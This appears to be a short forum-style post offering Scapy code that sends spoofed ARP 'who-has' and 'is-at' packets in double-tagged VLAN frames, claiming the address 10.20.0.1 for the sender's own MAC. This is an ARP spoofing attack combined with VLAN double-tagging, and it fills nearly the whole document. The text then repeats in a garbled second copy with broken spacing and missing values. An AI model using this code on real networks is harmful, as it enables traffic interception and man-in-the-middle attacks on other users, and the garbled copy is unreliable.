You should be able to mess with ARP also
ifname='ens7' spoofip='10.20.0.1' victimmac='ff:ff:ff:ff:ff:ff' selfmac=get_if_hwaddr(ifname) eth = Ether(src=selfmac, dst=victimmac)/Dot1Q(vlan=0)/Dot1Q(vlan=0) arp1 = ARP(op='who-has', hwsrc=selfmac, psrc=spoofip, hwdst=victimmac, pdst=spoofip) sendp(eth/arp1, iface=ifname) arp2 = ARP(op='is-at', hwsrc=selfmac, psrc=spoofip, hwdst=victimmac, pdst=spoofip) sendp(eth/arp2, iface=ifname)
You should be able to mess with ARP also
ifname='ens7' 'ff:ff: ff:ff:ff: ff' get_if_ hwaddr( ifname) /Dot1Q( vlan=0) /Dot1Q( vlan=0)
spoofip='10.20.0.1'
victimmac=
selfmac=
eth = Ether(src=selfmac, dst=victimmac)
arp1 = ARP(op='who-has', hwsrc=selfmac, psrc=spoofip, hwdst=victimmac, pdst=spoofip)
sendp(eth/arp1, iface=ifname)
arp2 = ARP(op='is-at', hwsrc=selfmac, psrc=spoofip, hwdst=victimmac, pdst=spoofip)
sendp(eth/arp2, iface=ifname)